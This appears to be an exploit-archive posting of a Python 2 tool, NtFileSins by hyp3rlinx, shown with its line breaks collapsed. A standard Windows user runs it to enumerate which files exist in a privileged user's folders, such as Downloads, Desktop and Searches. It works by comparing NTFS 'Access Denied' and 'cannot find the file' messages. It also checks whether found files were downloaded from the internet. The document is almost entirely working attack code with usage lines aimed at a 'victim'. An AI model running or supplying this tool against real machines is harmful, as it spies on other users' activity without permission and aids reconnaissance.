NtFileSins / Windows NTFS Privileged File Access Enumeration Tool

us hyp3rlinx (US) us
Risk: High
Local: No
Remote: Yes

from subprocess import Popen, PIPE import sys,argparse,re # NtFileSins v2 # Added: Check for Zone.Identifer:$DATA to see if any identified files were downloaded from internet. # # Windows File Enumeration Intel Gathering. # Standard users can prove existence of privileged user artifacts. # # Typically, the Windows commands DIR or TYPE hand out a default "Access Denied" error message, # when a file exists or doesn't exist, when restricted access is attempted by another user. # # However, accessing files directly by attempting to "open" them from cmd.exe shell, # we can determine existence by compare inconsistent Windows error messages. # # Requirements: 1) target users with >= privileges. # 2) artifacts must contain a dot "." or returns false positives. # # Windows message "Access Denied" = Exists # Windows message "The system cannot find the file" = Not exists # Windows returns "no message" OR "c:\victim\artifact is not recognized as an internal or external command, # operable program or batch file" = Admin to Admin so this script is not required. # # Profile other users by compare ntfs error messages to potentially learn their activities or machines purpose. # For evil or maybe check for basic malware IOC existence on disk with user-only rights. # #=====================================================================# # NtFileSins.py - Windows File Enumeration Intel Gathering Tool v2. # # By John Page (aka hyp3rlinx) # # Apparition Security # #=====================================================================# BANNER=''' _ _______________ __ _____ _ / | / /_ __/ ____(_) /__ / ___/(_)___ _____ / |/ / / / / /_ / / / _ \\__ \ / / __ \/ ___/ / /| / / / / __/ / / / __/__/ / / / / (__ ) /_/ |_/ /_/ /_/ /_/_/\___/____/_/_/ /_/____/ v2 By hyp3rlinx ApparitionSec ''' sin_cnt=0 internet_sin_cnt=0 found_set=set() zone_set=set() ARTIFACTS_SET=set() ROOTDIR = "c:/Users/" ZONE_IDENTIFIER=":Zone.Identifier:$DATA" USER_DIRS=["Contacts","Desktop","Downloads","Favorites","My Documents","Searches","Videos/Captures", "Pictures","Music","OneDrive","OneDrive/Attachments","OneDrive/Documents"] APPDATA_DIR=["AppData/Local/Temp"] EXTS = set([".contact",".url",".lnk",".search-ms",".exe",".csv",".txt",".ini",".conf",".config",".log",".pcap",".zip",".mp4",".mp3", ".bat", ".wav",".docx",".pptx",".reg",".vcf",".avi",".mpg",".jpg",".jpeg",".png",".rtf",".pdf",".dll",".xml",".doc",".gif",".xls",".wmv"]) REPORT="NtFileSins_Log.txt" def usage(): print "NtFileSins is a privileged file access enumeration tool to search multi-account artifacts without admin rights.\n" print '-u victim -d Searches -a "MS17-020 - Google Search.url"' print '-u victim -a "<name.ext>"' print "-u victim -d Downloads -a <name.ext> -s" print '-u victim -d Contacts -a "Mike N.contact"' print "-u victim -a APT.txt -b -n" print "-u victim -d -z Desktop/MyFiles -a <.name>" print "-u victim -d Searches -a <name>.search-ms" print "-u victim -d . -a <name.ext>" print "-u victim -d desktop -a inverted-crosses.mp3 -b" print "-u victim -d Downloads -a APT.exe -b" print "-u victim -f list_of_files.txt" print "-u victim -f list_of_files.txt -b -s" print "-u victim -f list_of_files.txt -x .txt" print "-u victim -d desktop -f list_of_files.txt -b" print "-u victim -d desktop -f list_of_files.txt -x .rar" print "-u victim -z -s -f list_of_files.txt" def parse_args(): parser.add_argument("-u", "--user", help="Privileged user target") parser.add_argument("-d", "--directory", nargs="?", help="Specific directory to search <e.g. Downloads>.") parser.add_argument("-a", "--artifact", help="Single artifact we want to verify exists.") parser.add_argument("-t", "--appdata", nargs="?", const="1", help="Searches the AppData/Local/Temp directory.") parser.add_argument("-f", "--artifacts_from_file", nargs="?", help="Enumerate a list of supplied artifacts from a file.") parser.add_argument("-n", "--notfound", nargs="?", const="1", help="Display unfound artifacts.") parser.add_argument("-b", "--built_in_ext", nargs="?", const="1", help="Enumerate files using NtFileSin built-in ext types, if no extension is found NtFileSins will switch to this feature by default.") parser.add_argument("-x", "--specific_ext", nargs="?", help="Enumerate using specific ext, e.g. <.exe> using a supplied list of artifacts, a supplied ext will override any in the supplied artifact list.") parser.add_argument("-z", "--zone_identifier", nargs="?", const="1", help="Identifies artifacts downloaded from the internet by checking for Zone.Identifier:$DATA.") parser.add_argument("-s", "--save", nargs="?", const="1", help="Saves successfully enumerated artifacts, will log to "+REPORT) parser.add_argument("-v", "--verbose", nargs="?", const="1", help="Displays the file access error messages.") parser.add_argument("-e", "--examples", nargs="?", const="1", help="Show example usage.") return parser.parse_args() def access(j): result="" try: p = Popen([j], stdout=PIPE, stderr=PIPE, shell=True) stderr,stdout = p.communicate() result = stdout.strip() except Exception as e: #print str(e) pass return result def artifacts_from_file(artifacts_file, bflag, specific_ext): try: f=open(artifacts_file, "r") for a in f: idx = a.rfind(".") a = a.strip() if a != "": if specific_ext: if idx==-1: a = a + specific_ext else: #replace existing ext a = a[:idx] + specific_ext if bflag: ARTIFACTS_SET.add(a) else: ARTIFACTS_SET.add(a) f.close() except Exception as e: print str(e) exit() def save(): try: f=open(REPORT, "w") for j in found_set: f.write(j+"\n") f.close() except Exception as e: print str(e) def recon_msg(s): if s == 0: return "Access is denied." else: return "\t[*] Artifact exists ==>" def echo_results(args, res, x, i): global sin_cnt if res=="": print "\t[!] No NTFS message, you must already be admin, then this script is not required." exit() if "not recognized as an internal or external command" in res: print "\t[!] You must target users with higher privileges than yours." exit() if res != recon_msg(0): if args.verbose: print "\t"+res else: if args.notfound: print "\t[-] not found: " + x +"/"+ i else: sin_cnt += 1 if args.save or args.zone_identifier: found_set.add(x+"/"+i) if args.verbose: print recon_msg(1)+ x+"/"+i print "\t"+res else: print recon_msg(1)+ x+"/"+i def valid_artifact_name(sin,args): idx = "." in sin if re.findall(r"[/\\*?:<>|]", sin): print "\t[!] Skipping: disallowed file name character." return False if not idx and not args.built_in_ext and not args.specific_ext: print "\t[!] Warning: '"+ sin +"' has no '.' in the artifact name, this can result in false positives." print "\t[+] Searching for '"+ sin +"' using built-in ext list to prevent false positives." if not args.built_in_ext: if sin[-1] == ".": print "\t[!] Skipping: "+sin+" non valid file name." return False return True def search_missing_ext(path,args,i): for x in path: for e in EXTS: res = access(ROOTDIR+args.user+"/"+x+"/"+i+e) echo_results(args, res, x, i+e) #Check if the found artifact was downloaded from internet def zone_identifier_check(args): global ROOTDIR, internet_sin_cnt zone_set.update(found_set) for c in found_set: c = c + ZONE_IDENTIFIER res = access(ROOTDIR+args.user+"/"+c) if res == "Access is denied.": internet_sin_cnt += 1 print "\t[$] Zone Identifier found: "+c+" this file was downloaded over the internet!." zone_set.add(c) def ntsins(path,args,i): if i.rfind(".")==-1: search_missing_ext(path,args,i) i="" for x in path: if i != "": if args.built_in_ext: for e in EXTS: res = access(ROOTDIR+args.user+"/"+x+"/"+i+e) echo_results(args, res, x, i+e) elif args.specific_ext: idx = i.rfind(".") if idx == -1: i = i + "." else: i = i[:idx] + args.specific_ext res = access(ROOTDIR+args.user+"/"+x+"/"+i) echo_results(args, res, x, i) def search(args): print "\tSearching...\n" global ROOTDIR, USER_DIRS, ARTIFACTS_SET if args.artifact: ARTIFACTS_SET = set([args.artifact]) for i in ARTIFACTS_SET: idx = i.rfind(".") + 1 if idx and args.built_in_ext: i = i[:idx -1:None] if len(i) > 0 and i != None: if valid_artifact_name(i,args): #specific user dir search if args.directory: single_dir=[args.directory] ntsins(single_dir,args,i) #search appdata dirs elif args.appdata: ntsins(APPDATA_DIR,args,i) #all default user dirs else: ntsins(USER_DIRS,args,i) def check_dir_input(_dir): if len(re.findall(r":", _dir)) != 0: print "[!] Check the directory arg, NtFileSins searches under c:/Users/target by default see Help -h." return False return True def main(args): if len(sys.argv)==1: parser.print_help(sys.stderr) sys.exit(1) if args.examples: usage() exit() if not args.user: print "[!] No target user specified see Help -h" exit() if args.appdata and args.directory: print "[!] Multiple search directories supplied see Help -h" exit() if args.specific_ext: if "." not in args.specific_ext: print "[!] Must use full extension e.g. -x ."+args.specific_ext+", dot in filenames mandatory to prevent false positives." exit() if args.artifact and args.artifacts_from_file: print "[!] Multiple artifacts specified, use just -f or -a see Help -h" exit() if args.built_in_ext and args.specific_ext: print "\t[!] Both specific and built-in extensions supplied, use only one." exit() if args.specific_ext and not args.artifacts_from_file: print "\t[!] -x to be used with -f flag only see Help -h." exit() if args.artifact: if args.artifact.rfind(".")==-1: print "\t[!] Artifacts must contain a .ext or will result in false positives." exit() if args.directory: if not check_dir_input(args.directory): exit() if args.artifacts_from_file: artifacts_from_file(args.artifacts_from_file, args.built_in_ext, args.specific_ext) if not args.artifact and not args.artifacts_from_file: print "[!] Exiting, no artifacts supplied see Help -h" exit() else: search(args) if sin_cnt >= 1 and args.zone_identifier: zone_identifier_check(args) if args.save and len(found_set) != 0: if len(zone_set) != 0: found_set.update(zone_set) save() print "\n\tNtFileSins Detected "+str(sin_cnt)+ " out of %s" % str(len(ARTIFACTS_SET)) + " Sins.\n" if args.zone_identifier and internet_sin_cnt >= 1: print "\t"+str(internet_sin_cnt) + " of the sins were internet downloaded.\n" if not args.notfound: print "\tuse -n to display unfound enumerated files." if not args.built_in_ext: print "\tfor extra search coverage try -b flag or targeted artifact search -a." if __name__ == "__main__": print BANNER parser = argparse.ArgumentParser() main(parse_args())

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